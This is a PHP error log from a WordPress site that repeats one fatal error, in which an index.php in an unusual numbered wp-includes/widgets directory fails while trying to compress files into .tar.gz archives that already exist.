[04-Nov-2025 16:49:19 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/theme-rtl.css.css.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[04-Nov-2025 16:49:21 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/theme.min.css.min.css.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[04-Nov-2025 16:49:22 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/block.json.json.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[04-Nov-2025 16:49:26 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/style.css.css.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[04-Nov-2025 16:49:29 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/style.min.css.min.css.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[04-Nov-2025 16:49:30 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/image.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[04-Nov-2025 16:50:15 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/media.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[04-Nov-2025 16:55:09 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/style.css.css.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[04-Nov-2025 16:55:10 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/style.min.css.min.css.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[04-Nov-2025 16:55:13 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/block.json.json.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[04-Nov-2025 16:55:14 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/style-rtl.css.css.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[04-Nov-2025 16:55:15 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/theme-rtl.css.css.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[04-Nov-2025 16:55:16 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/view.js.js.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[04-Nov-2025 16:55:18 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/block.json.json.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[04-Nov-2025 16:55:25 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/editor.css.css.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[04-Nov-2025 16:55:27 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/editor.css.css.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[04-Nov-2025 16:55:29 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/theme.min.css.min.css.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[04-Nov-2025 16:55:35 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/block.json.json.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[04-Nov-2025 16:55:36 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/style-rtl.css.css.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[04-Nov-2025 16:55:37 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/editor-rtl.min.css.min.css.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[04-Nov-2025 16:55:40 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/style.min.css.min.css.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[04-Nov-2025 16:55:42 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/block.json.json.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[04-Nov-2025 16:55:47 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/editor-rtl.css.css.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[04-Nov-2025 16:55:56 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/editor.min.css.min.css.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[04-Nov-2025 16:56:01 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/style.css.css.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[04-Nov-2025 17:00:21 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/block.json.json.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[04-Nov-2025 17:01:24 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/style.css.css.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[04-Nov-2025 17:01:25 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/style.css.css.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[04-Nov-2025 17:01:26 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/theme.css.css.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[04-Nov-2025 17:01:28 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/editor.css.css.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[04-Nov-2025 17:01:31 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/block.json.json.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[04-Nov-2025 17:01:32 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/block.json.json.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[04-Nov-2025 17:01:33 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/style-rtl.min.css.min.css.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[04-Nov-2025 17:01:34 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/editor.css.css.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[04-Nov-2025 17:01:35 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/editor-rtl.css.css.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[04-Nov-2025 17:01:36 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/style-rtl.min.css.min.css.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[04-Nov-2025 17:01:39 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/block.json.json.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[04-Nov-2025 17:01:40 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/editor.min.css.min.css.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[04-Nov-2025 17:01:51 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/style-rtl.css.css.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[04-Nov-2025 17:01:53 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/style.min.css.min.css.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[04-Nov-2025 17:06:44 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/style.css.css.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[04-Nov-2025 17:06:47 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/theme.css.css.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[04-Nov-2025 17:06:48 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/block.json.json.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[04-Nov-2025 17:06:49 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/block.json.json.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[04-Nov-2025 17:06:51 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/code.png.png.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[04-Nov-2025 17:06:53 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/editor.css.css.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[04-Nov-2025 17:06:59 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/text.png.png.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[04-Nov-2025 17:07:01 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/license.txt.txt.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[04-Nov-2025 17:07:04 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/style-rtl.min.css.min.css.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[04-Nov-2025 17:07:25 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/style-rtl.css.css.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
